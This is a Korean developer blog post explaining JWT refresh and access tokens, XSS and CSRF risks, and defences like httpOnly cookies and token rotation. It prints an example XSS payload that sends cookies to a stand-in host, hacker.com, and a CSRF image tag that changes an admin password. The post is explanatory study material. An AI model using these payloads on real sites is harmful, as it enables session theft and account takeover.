프로젝트 지식(6) - JWT(Refresh & Access)와 보안

2 minute read

학습동기

이전에 JWT와 세션의 차이점에 대해서 간략하게 설명한 적이 있다. 그 때까지만 해도 JWT의 작동방식에 대해 잘 안다고 장담했었는데, 역시 사람은 자만하면 안되나보다. 소셜 로그인을 계속 다듬으면서 JWT의 동작 메커니즘과 보안문제에 대해 다시 한 번 생각해보고 있는데, 이번 기회에 정말 확실하게 그 개념을 잡아보려 한다!

Refresh Token와 Access Token

Refresh Token와 Access Token은 기본적으로 JWT이다. 하지만 JWT의 보안상의 문제를 해결하기 위해 대안으로 나온 것인데, 그 메커니즘을 살펴보자.

일단 기본원리는 다음과 같다. 사실 JWT가 기본 원리만 비슷하지 사용방식은 개발자 마음이기 때문에 정확히 딱 정해진 방식은 없다. 아래의 그림은 조금 더 간단하게 표현한 자료이다.

기본적인 원리는 파악했으니 이제 JWT에서 가장 말이 많은 보안에 대해 알아보도록 하자.

JWT 보안문제

우선 JWT의 문제점을 살펴보도록 하자. 첫번째로 JWT는 윶 정보를 가지고 있다. 따라서 토큰이 탈취당하면 사용자 정보를 해커가 갖게 되는 것이다. 때문에 중요한 정보는 절대 토큰에 포함 시키면 안된다.

두번째는 JWT는 회수할 수가 없다. 세션처럼 서버단에서 임의로 세션을 삭제할 수 없기 때문에 한 번 해커에게 털리게 되면 유효 기간내에는 손 쓸 수가 없게 된다. 이러한 문제를 기반으로 토큰은 다양한 보안 이슈가 발생하는데 이를 한 번 알아보자.

1. XSS 공격

악의적인 스크립트를 넣어놓고 이 스크립트를 읽게끔해서 유저의 정보를 빼오는 공격 기법이다. 주로 웹사이트 게시글에 악의적인 스크립트를 넣어 유저가 게시글에 들어가게끔 유도하여 공격한다.

예를 들어 아래와 같은 스크립트는 실행하게 되면 사용자가 가지고 있는 쿠키 또는 LocalStorage 값을 해커의 서버로 전송할 수 있게된다.

<script>document.location='http://hacker.com/cookie?'+document.cookie</script>

따라서 토큰을 localStorage에 저장하면 XSS 공격에 취약점이 생길 수 있다.

이 문제를 해결하는 방법은 여러가지가 있다. 우선 백엔드 단에서 전송된 모든 데이터에 대해 sanitize을 하면 된다. 적절한 검증을 통해 공격이 될 수 있는 요소를 정제하고 DB에 저장해야 한다.

또한 클라이언트에서는 localStorage나 쿠키에 값을 저장하는 것이 아니라 httpOnly 쿠키로 저장하여 XSS 공격을 막는 방법이 있다. 이 옵션을 지정하면 Script에서 쿠키를 읽어올 수가 없게 된다.

2. CSRF 공격

csrf에 대해서는 장고를 학습할 때 꾸준히 나오던거라 친숙하다. 하지만 그 개념은 잘 모르고 사용했기 때문에 이번 기회에 확실히 알고 쓰면 좋을 거 같다.

csrf 공격은 해커가 다른 사이트에서 우리 사이트의 API 콜을 요청해 실행하는 공격이다. 유저가 로그인해 있는 동안에(유효한 쿠키보유) 악성 스크립트를 실어보내 사용자의 쿠키를 사용해 명령을 실행하는 방법이다.

2008년 옥션 해킹 사건이 유명한데, 아래와 같은 코드를 실은 메일을 보내 관리자가 로그인해 있는 동안 해당 메일을 열람하게 한뒤 메일이 열리면 이미지 파일이 로딩되면서 src에 있는 링크가 자동으로 실행된다. 그러면서 관리자 계정을 탈취했던 것이다.

<img src="http://auction.com/changeUserAcoount?id=admin&password=admin" width="0" height="0">

해결방법

서치해본 결과 Set-cookie 헤더에 JWT를 실어보내면 이러한 문제를 해결할 수 있다고 한다. Set-cookie에 리프레시 토큰을, payload에 엑세스 토큰을 실어보내는 것이다. 이렇게 하면 로컬에 토큰을 보관하지 않아 CSRF 공격과 XSS 공격으로부터 방어할 수 있다.

리프레시 토큰은 한 번 노출되면 회수할 수 없는 문제점이 있는데, 이를 해결하기 위해 엑세스 토큰이 만료되어 다시 연장 요청을 할 때 새로운 엑세스 토큰과 함께 리프레시 토큰 또한 새로 주는 것이다. 이를 구현하기 위해서 Django에서는 blacklist를 활용하면 되는데, 이에 대해서는 다음에 자세히 알아보도록 하자!

Reference

Leave a comment